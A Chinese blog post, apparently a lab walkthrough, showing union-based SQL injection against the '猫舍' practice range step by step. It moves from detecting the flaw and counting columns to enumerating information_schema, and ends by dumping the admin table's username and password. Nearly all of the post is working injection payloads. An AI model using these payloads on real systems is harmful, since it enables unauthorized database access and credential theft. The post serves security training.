猫舍 靶场

 目标url:http://117.41.229.122:8003/?id=1

第一步,判断是否存在sql注入漏洞

构造 ?id=1 and 1=1 ,回车

页面返回正常

构造 ?id=1 and 1=2 ,回车

页面不正常,初步判断这里 可能 存在一个注入漏洞

第二步:判断字段数

构造 ?id=1 and 1=1 order by 1 回车

页面正常

构造 ?id=1 and 1=1 order by 2 回车

页面正常

构造 ?id=1 and 1=1 order by 3 回车

页面返回 错误,判断字段数为   2

第三步:判断回显点

构造 ?id=1 and 1=2 union select 1,2 回车

页面出现了  2  ,说明我们可以在数字 2  处

可以显示我们输入sql 语句来获取想要的内容

第四步:查询相关内容

查询当前数据库名

构造 ?id=1 and 1=2 union select 1,database() 回车

查询当前数据库版本

构造 ?id=1 and 1=2 union select 1,version() 回车

查询当前数据库 表名

构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

绝大数情况下,管理员的账号密码都在admin表里

查询字段名

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车

查出 admin 表里 有  id   username  password  三个字段

查询字段内容

构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,password from admin  limit 1,1 回车

 

构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1 回车

得到管理员账号和密码,大功告成。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值